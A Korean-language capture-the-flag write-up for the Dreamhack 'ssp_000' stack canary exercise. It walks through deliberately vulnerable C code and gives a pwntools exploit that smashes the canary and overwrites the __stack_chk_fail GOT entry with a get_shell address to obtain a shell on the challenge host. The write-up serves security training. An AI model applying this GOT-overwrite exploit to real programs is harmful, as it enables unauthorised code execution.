본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.

해당 문제는 Dreamhack Pwnable 교육과정 중 Stack Canary 실습 문제이다. 따라서 문제에서 요구하는 바는 SSP 방어 기법을 위해하여 flag를 획득하는 것이다.

문제 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

  • NX bit 활성화로 인해서 BUF에 쉘 코드를 직접 대입하진 못할 것이고, Canary가 존재하므로 Canary leak을 통해 RET를 get_shell로 변경할 수 있을 것으로 예상했다.

  • 하지만, 문제를 보면 Canary의 값을 알 방법은 없다.

*(long *)addr = value;

이 부분을 통해 addr의 메모리 값을 변경할 수 있을 것으로 예상된다.

pwndbg를 통해 disassemble 했을 때 스택 메모리를 표현한 것이다.

read(0, buf, 0x80);

해당 함수를 통해 Canary값을 변조하여 call 0x4006d0 __stack_chk_fail@plt 호출이 가능하게 된다.

__stack_chk_fail@plt를 통해 GOT를 참조할 것이다. 따라서, 우리가 입력할 수 있는 addr를 __stack_chk_fail@got로 변경하고, 해당 내용을 get_shell로 변경하면 된다.(해당 루틴이 정확하게 어떻게 이루어지는지 더 공부해야할 것으로 보인다.)

  • addr : __stack_chk_fail@got 주소
  • __stack_chk_fail@got : get_shell의 주소

현재로서는 이렇게 이해하고 있습니다.

from pwn import *

#p = process("./ssp_000")
p = remote("host3.dreamhack.games", 12630)
elf = ELF("./ssp_000")

get_shell = elf.symbols['get_shell']
p.sendline(b"A"*80) #nop 80bytes

p.recvuntil("r : ") #Addr :

p.sendline(str(elf.got['__stack_chk_fail']))

p.recvuntil("e : ") #value :

p.sendline(str(get_shell))

p.interactive()